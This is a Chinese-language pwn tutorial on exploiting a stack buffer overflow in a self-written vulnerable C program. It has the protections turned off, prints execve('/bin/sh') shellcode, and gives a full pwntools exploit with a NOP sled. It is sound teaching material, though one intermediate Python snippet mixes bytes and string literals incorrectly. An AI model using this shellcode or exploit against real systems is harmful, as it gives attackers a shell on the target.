pwn 入门到放弃 3- 没有 system 之构造自己的 shellcode

在挖掘和利用漏洞的时候,会遇见没有没有 system 函数的时候,无法执行system("/bin/sh"),此时,需要构造自己的 shellcode

0x00 准备工作

随手写一个作为测试使用

#include<stdio.h>
#include<string.h>

int main()
{
	char buf[128];
	gets(buf);
	puts(buf);
	return 0;
}

编译成 32 位的程序,同时注意关闭栈保护和打开栈的可执行

clang -m32 -fno-stack-protector -z execstack [源文件名] -o [可执行文件名]

clang 和 gcc 都行,我个人喜欢 clang 所以用 clang 了,参数说明:

  • -m32:使用 32 位编译
  • -fno-stack-protector:关闭栈保护
  • -z execstack:启用栈上代码可执行

关闭操作系统的地址空间随机化(ASLR),这是针对栈溢出漏洞被操作系统广泛采用的防御措施。关闭该防御来降低学习复现的难度。需要 root 执行。

# 注意,下面是临时修改方案,系统重启后会被重置为2
echo 0 > /proc/sys/kernel/randomize_va_space

0x10 构造 shell

0x11 分析程序

将上面的源码按照上面的编译命令编译然后运行程序,输入一段较长的字符,查看情况

经典段错误,说明是存在栈溢出的。

根据源码也很容易知道,输入的字符串长度大于 128,就会溢出。现在就只需要找到字符串的起始地址和覆盖到返回地址所需要的偏移。

因为编译时使用了 -z execstack 参数,也就是说可以在栈上执行代码,所以只需要在栈上面构造获取 shell 的指令,然后更改返回值跳转到执行 shellcode,就可以成功获取 shell 了。

0x12 什么是 shellcode

shellcode 就是一串可以返回 shell 的机器指令码,在 linux 上典型的有:Linux/x86 - execve(/bin/sh) + Polymorphic Shellcode (48 bytes),对应代码为:

char shellcode[] =  "\xeb\x11\x5e\x31\xc9\xb1\x32\x80"
                    "\x6c\x0e\xff\x01\x80\xe9\x01\x75"
                    "\xf6\xeb\x05\xe8\xea\xff\xff\xff"
                    "\x32\xc1\x51\x69\x30\x30\x74\x69"
                    "\x69\x30\x63\x6a\x6f\x8a\xe4\x51"
                    "\x54\x8a\xe2\x9a\xb1\x0c\xce\x81";

shellcode 本质就是就是一串机器码,执行后提供 shell。

0x13 攻击实现

根据上面的分析,我们需要如下计算步骤:

  1. 找出 buf 变量地址。我们可以从 buf 一开始就写入 shellcode,也可以填写一段 padding 后再写入 shellcode。记录 shellcode 填充的位置。
  2. 找出 main 函数返回地址。
  3. 计算 main 函数返回地址与 buf 变量地址 2 者的偏移量,在填充完 shellcode 后,再填充差值长度的 padding,使得可以覆盖返回地址,并将返回地址指向 shellcode 所在位置。

先找 buf 的地址,打开 IDA 使用远程调试,在 gets 函数下断点,然后运行到 return 的位置,此时分析

可以看到三个关键信息:

  • 根据 mov [ebp+var_8c],eax 可以猜测偏移量
  • buf 的起始地址为 0xFFFFCFE4
  • 通过堆栈视图得到返回地址为 0xFFFFD06C

计算得到偏移为 0x88(136),再次测试,这次输入 140 个 a(刚好覆盖完返回地址)

验证成功,得到偏移 136 个字节,开始构造攻击字符串,最后的地址应该为小端序,也就是反着的

buf_addr = 0xFFFFCFE4
offset = 136

shellcode =  b"\xeb\x11\x5e\x31\xc9\xb1\x32\x80"
               "\x6c\x0e\xff\x01\x80\xe9\x01\x75"
               "\xf6\xeb\x05\xe8\xea\xff\xff\xff"
               "\x32\xc1\x51\x69\x30\x30\x74\x69"
               "\x69\x30\x63\x6a\x6f\x8a\xe4\x51"
               "\x54\x8a\xe2\x9a\xb1\x0c\xce\x81";
          
payload = shellcode + b'a'*(offset-48) + b'\xE4\xCF\xFF\xFF'

再次调试,因为包含了不可读的字符串,所以除了填充的部分,其他部分都需要修改内存

成功了,那么使用 pwntools 实现一次

出错了,原因分析,这是因为 gdb 在运行时,会往栈上添加许多进程使用的环境变量,导致栈的地址变低了,但是直接运行时,没有这些环境变量,所以地址会比 gdb 中查询获得的高。对于这个问题,我们可以 NOP 链来绕过。

解决办法:使用 NOP 填充。NOP 指令,也称作“空指令”,在 x86 的 CPU 中机器码为 0x90(144)。NOP 不执行操作,但占一个程序步。也就是说当遇到 NOP 指令的时候,程序不会做任何事,而是继续执行下一条指令。

因此可以改造一下 payload,在头部放上一段 NOP 指令,然后再跟上 shellcode,并适当偏移之前的 buf 起始地址,这样当返回地址指向这段 NOP 指令中的任意一个地址时,因为 NOP 空指令的关系,会一直找下去,直到遇到 shellcode,这样就大大提高了命中率。对于栈可执行程序而言,这是一种很有效的命中方式。

payload = b'\x90'*40 + shellcode + b'a'*(offset-48-40) + b'\xE4\xCF\xFF\xFF'

成功!

0x14 完整 exp

from pwn import *

context.log_level = "debug" #show debug information

p = process('./pwn_test')

buf_addr = 0xFFFFCFE4
offset = 136

shellcode =  b"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\
\x6c\x0e\xff\x01\x80\xe9\x01\x75\
\xf6\xeb\x05\xe8\xea\xff\xff\xff\
\x32\xc1\x51\x69\x30\x30\x74\x69\
\x69\x30\x63\x6a\x6f\x8a\xe4\x51\
\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"
          
payload = b'\x90'*40 + shellcode + b'a'*(offset-48-40) + p32(buf_addr)

p.sendline(payload)
p.interactive()

0x20 总结

没有 system 时如何自己构造一个 shell 的:

  1. 先找出偏移量(可以利用 cyclic 工具)
  2. 输入偏移量 +4 长度的字符,获得此时 buf 的起始地址
  3. 构造 payload:
payload = NOP*N + shellcode + padding*(偏移量-shellcode长度-NOP长度) + (shellcode地址)

0x21 补充

快速找到偏移的方法:使用 pwntools 的 cyclic 方法,先生成一段长度合适的有序字符串

这里直接使用 gdb 调试即可

返回 pwntools,使用 cyclic_find() 语句直接获取偏移